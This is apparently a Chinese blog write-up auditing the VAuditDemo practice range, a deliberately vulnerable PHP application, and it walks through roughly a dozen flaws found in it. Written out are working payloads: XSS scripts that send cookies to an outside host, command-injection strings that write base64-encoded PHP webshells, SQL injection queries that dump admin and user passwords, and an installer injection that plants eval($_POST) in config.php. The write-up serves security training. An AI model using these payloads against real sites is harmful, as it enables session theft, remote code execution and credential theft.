VAuditDemo靶场漏洞寻找
针对VAuditDemo经典靶场进行的代码审计和漏洞查找
针对VAuditDemo经典靶场进行的代码审计和漏洞查找
-
1、登录页面缺少,错误登录限制,以及验证码通过,爆破字典方式可以直接获取用户密码


-
源码部分确实没有登录限制

-
2、文件包含漏洞

-
查看源码,是后缀增加.inc的格式
-
因为其最后添加inc的方式,php伪协议中只有phar和zip可以使用

-
文件上传,只能图片文件

-
u_ 当前时间戳_原来的文件名
-
使用php函数来解析名字
<?php
echo strtotime('Tue, 14 Feb 2023 15:13:56 GMT');
?>
-
之后在对其进行phar访问

-
该漏洞可以写入木马,危害较大
-
开启远程文件包含以后,可以进行data

-
3、搜索sql注入

-
根据报告,存在注入,但 ' 号被过滤

-
查看源码,使用sqlwaf()过滤了
-
在/sys/lib.php文件中找到了 sqlwaf()函数


-
因为过滤内容太多,只能获取一些简单的内容
-
4、水平越权
-
登录一个账户,修改自己名字

-
抓包修改,id和名字

-
成功修改他人名字

-
5、IP记录XSS存储型
-
因为过往ip只进行了sqlwaf的过滤

-
登录任意一个账户抓包修改




-
查看源码,获取http头部值,并进行比较如果,有多种头可以使用
-
通过名字就知道,X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。
<script>document.write('<img src="http://192.168.18.141/sefa15/ssrf/cookie.php?cookie='+document.cookie+'"')</script>
-
6、XSS注入,反射型

-
尝试传输cookie对双引号进行了绕过
http://192.168.18.182:81/search.php?search=<script>location.href=`http://192.168.18.141/sefa15/ssrf/cookie.php?cookie=`%2Bdocument.cookie</script>
-
搜索框可以获取,通过反射型获取cookie,+改%2B,"号改`
-
7、管理员用户,登录验证码重复使用

-
查看源码,session保存了验证码,导致不刷新session的值一直保存了不变,从而可以绕过验证码
-
进行验证,使用正确的登录,登录成功

-
使用错误密码,验证码不变

-
账号密码正确,验证码错误,登录失败

-
再次用回原本验证码,登录成功

-
拓展一下,管理员登录绕过密码
-
删除cookie,使得seesion值为空,删除验证码值,使得也为空,从而满足源码中条件,就可以不写验证码直接绕过

-
8、命令注入,管理员使用ping的命令注入

-
查看源码没有对,管理员输入的ping进行过滤,而是直接执行,但在实际使用上出现了一些过滤
-
直接消除,"转义,'直接消失
-
因此采用一些方法进行绕过
127.0.0.1&&echo PD9waHAgcGhwaW5mbygpOz8+ >> /opt/lampp/htdocs/vaudit/VAuditDemo_Debug/uploads/shell.txt
-
使用&&同时执行后面命令,将木马进行base64加密,写入
127.0.0.1&&base64 -d /opt/lampp/htdocs/vaudit/VAuditDemo_Debug/uploads/shell.txt >> /opt/lampp/htdocs/vaudit/VAuditDemo_Debug/uploads/shell.php
-
之后使用base64 -d 进行解码并写入php文件中
-
一句话简单版
127.0.0.1;echo PD9waHAgZXZhbCgkX1BPU1RbJ2NvZGUnXSk7Pz4= | base64 -d > /opt/lampp/htdocs/vaudit/VAuditDemo_Debug/uploads/shell.php
-
还可以反弹shell

-
9、二次注入,在更改密码处
-
注册,HK和HK‘#,通过修改,HK'#的密码,却修改HK的密码
-
10、二次注入,留言板和用户名组合
-
首先,要从注册页面开始理解,注册一个用户

-
注册用户会调用clean_input函数进行,过滤,接下来来看看clean_input
-
该函数有两个作用,mysql_real是过滤mysql的特殊符号的,strips的作用是,去除由addslashes()添加的反斜杠,之前在sec函数添加的单引号也是两个,到此时写入数据库的内容应该是xxx\\,之后由于添加数据库时的自动转义,数据库内的数据应该是xxx\



-
查看源码,变量从session获取,而seeeion是从数据库直接获取的,用户名为xxx\的时候,然后经过clean_input的stripslashes变成xxx\,再经过clean_input的mysql_real_escape_string又变成xxx\,这是前面的\转义了后面的\

-
注入点是,通过from提交的留言板内容

-
在此处进行sql语句执行,现在我们进行尝试

-
,(select admin_pass from admin limit 0,1),1);#,前面是我在留言版写入的内容
-
SELECT GROUP_CONCAT(CONCAT_WS('==',user_name,user_pass)) FROM users; 获取全部数据

-
通过抓包可以看到,实际添加进入数据库时的内容
-
注意,此时还是会被clean_input防御

-
11、任意文件读取
-
上传位置

-
更新用户信息,在这里将数据写入,
Array
(
[name] => 新建文本文档.txt
[type] => text/plain
[tmp_name] => /opt/lampp/temp/phpPTMOWi
[error] => 0
[size] => 0
)
使用$_FILES['upfile']获取的值
-
$avatar,是路径拼接和命名一起,../uploads/u_时间戳_名字
-
../uploads/u_1676474904_新建文本文档.jpg

-
只判断了后缀,意味着很容易绕过

-
通过file_get读取,并输出

-
在已经了解全部后,进行一个拼接sql
-
../uploads/u_1676474904_新建文本文档.jpg 后面这部分我们可控,由此可以读取任何文件(SSRF漏洞)

-
因为使用file获取时,不能获取路径
-
使用16进制绕过成功

-
13、安装漏洞
-
测试前,将判断是否存在代码注释

-
下面这段代码判断是否可以写入,以及路径是否可以使用

-
写入,地方没有进行过滤,而是直接使用

-
注意,payload要同时,满足msyql语句和后面的php语句


-
vauditdemo2 -- ";phpinfo();// 这是准备好的payload
-
实际注入时, CREATE DATABASE vauditdemo2 -- ";phpinfo();// ,根据mysql的规则,--注释后面,//则是注释php后面部分,最后当写入,config.php时变成

-
注入成功,当然也可以使用一句马,vauditdemo2 -- ";eval($_POST['cost']);//
更多推荐
所有评论(0)